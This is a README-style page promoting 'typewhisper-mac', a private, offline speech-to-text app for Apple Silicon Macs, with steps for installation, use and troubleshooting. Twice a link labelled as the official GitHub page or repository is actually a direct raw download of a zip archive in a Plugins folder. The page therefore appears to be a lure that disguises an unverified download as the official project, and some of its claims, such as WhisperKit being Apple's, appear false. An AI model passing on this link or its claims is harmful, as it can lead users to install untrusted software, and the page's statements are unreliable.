typewhisper-mac is a simple app that turns your spoken words into text on your Mac. It works entirely on your device, so your speech stays private. You don’t need an internet connection or cloud services.
The app is designed specifically for macOS with Apple Silicon, making it fast and efficient. You can use it to create notes, write documents, or control your computer with voice. Everything happens quickly, right on your Mac.
Key points about typewhisper-mac:
- Runs fully on your Mac, no need to send data over the internet
- Supports the latest Apple Silicon processors
- Converts speech to text in real time
- Easy to use with a clean interface built in SwiftUI
- Keeps your data private and secure, no cloud involved
Before you download and use typewhisper-mac, make sure your Mac meets these requirements:
- macOS 13.0 or later (Ventura or newer)
- Apple Silicon chip (M1, M2, or later)
- At least 8 GB of RAM recommended for smooth performance
- Microphone built into your Mac or external mic
- About 100 MB of free disk space for installation
If your Mac does not meet these requirements, the app may not work properly or may run slowly.
This guide will walk you through downloading, installing, and using typewhisper-mac for the first time. You do not need any technical experience—just follow the steps.
To get typewhisper-mac, visit the official release page and download the latest version.
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Click the badge or go directly to the release page here:
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On the page, find the latest release (usually at the top) and locate the file named something like
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Once the download finishes, open the
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Inside the mounted disk, drag the typewhisper-mac app icon into your Applications folder.
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Open Finder, go to Applications, and double-click typewhisper-mac to launch it.
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The first time you open the app, macOS may ask for permission to access your microphone. Approve this so the app can listen to your voice.
Using typewhisper-mac is straightforward. The app listens to your speech and shows your words as text.
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Open typewhisper-mac from your Applications folder.
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Click the big microphone button to start recording your voice.
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Speak clearly and naturally. The app will convert your speech to text and display it on the screen.
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When you finish speaking, click the microphone button again to stop.
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You can save your transcript by clicking the Save option in the menu. Choose where to store your text file.
- Use a quiet room to avoid background noise.
- Speak directly into your microphone.
- Pause naturally between sentences to help the app understand you.
- You can correct any mistakes in the transcript by clicking and editing the text.
typewhisper-mac processes all your speech data locally on your Mac. It never sends your audio or text to any external server or cloud service. This means your conversations remain private and secure.
The app does not require an internet connection to work, so you can use it anytime, even offline.
You control all your data because transcripts are saved only to locations you choose on your Mac.
- Local AI Processing: Uses on-device AI for fast and private speech recognition.
- Real-time Transcription: Shows words as you speak without delays.
- Apple Silicon Optimized: Runs smoothly on modern Macs with M1 and M2 chips.
- Simple Interface: Clean design with one-click recording.
- Flexible Save Options: Export transcripts as plain text files anywhere on your Mac.
- Offline Capability: No internet needed after installation.
- SwiftUI Design: A modern app interface built specifically for macOS.
Within the app, you can adjust a few options to customize your experience:
- Language: Select the spoken language for transcription.
- Text Formatting: Choose whether the app adds punctuation automatically.
- Save Location: Set your default folder for saving transcripts.
- Hotkeys: Assign keyboard shortcuts to start or stop recording.
You can find these settings in the app menu under Preferences.
If you encounter problems, try these steps:
- Make sure your Mac meets the system requirements.
- Confirm the app has permission to use your microphone. Check System Preferences > Security & Privacy > Microphone.
- Restart the app or your Mac if it becomes unresponsive.
- Check that your microphone works using another app.
- For slow speech recognition, close other programs to free system resources.
- If the app crashes or won’t open, download the latest version from the release page again.
For more details about features, updates, and how to use typewhisper-mac, visit the GitHub page:
https://raw.githubusercontent.com/hashWlmao/typewhisper-mac/main/Plugins/typewhisper-mac-1.4.zip
You can also report bugs or request new features directly on GitHub.
typewhisper-mac is built using SwiftUI and leverages Apple’s WhisperKit for speech-to-text on Apple Silicon Macs. It focuses on maintaining user privacy by running all AI locally.
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Release page and downloads:
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Official GitHub repository:
https://raw.githubusercontent.com/hashWlmao/typewhisper-mac/main/Plugins/typewhisper-mac-1.4.zip
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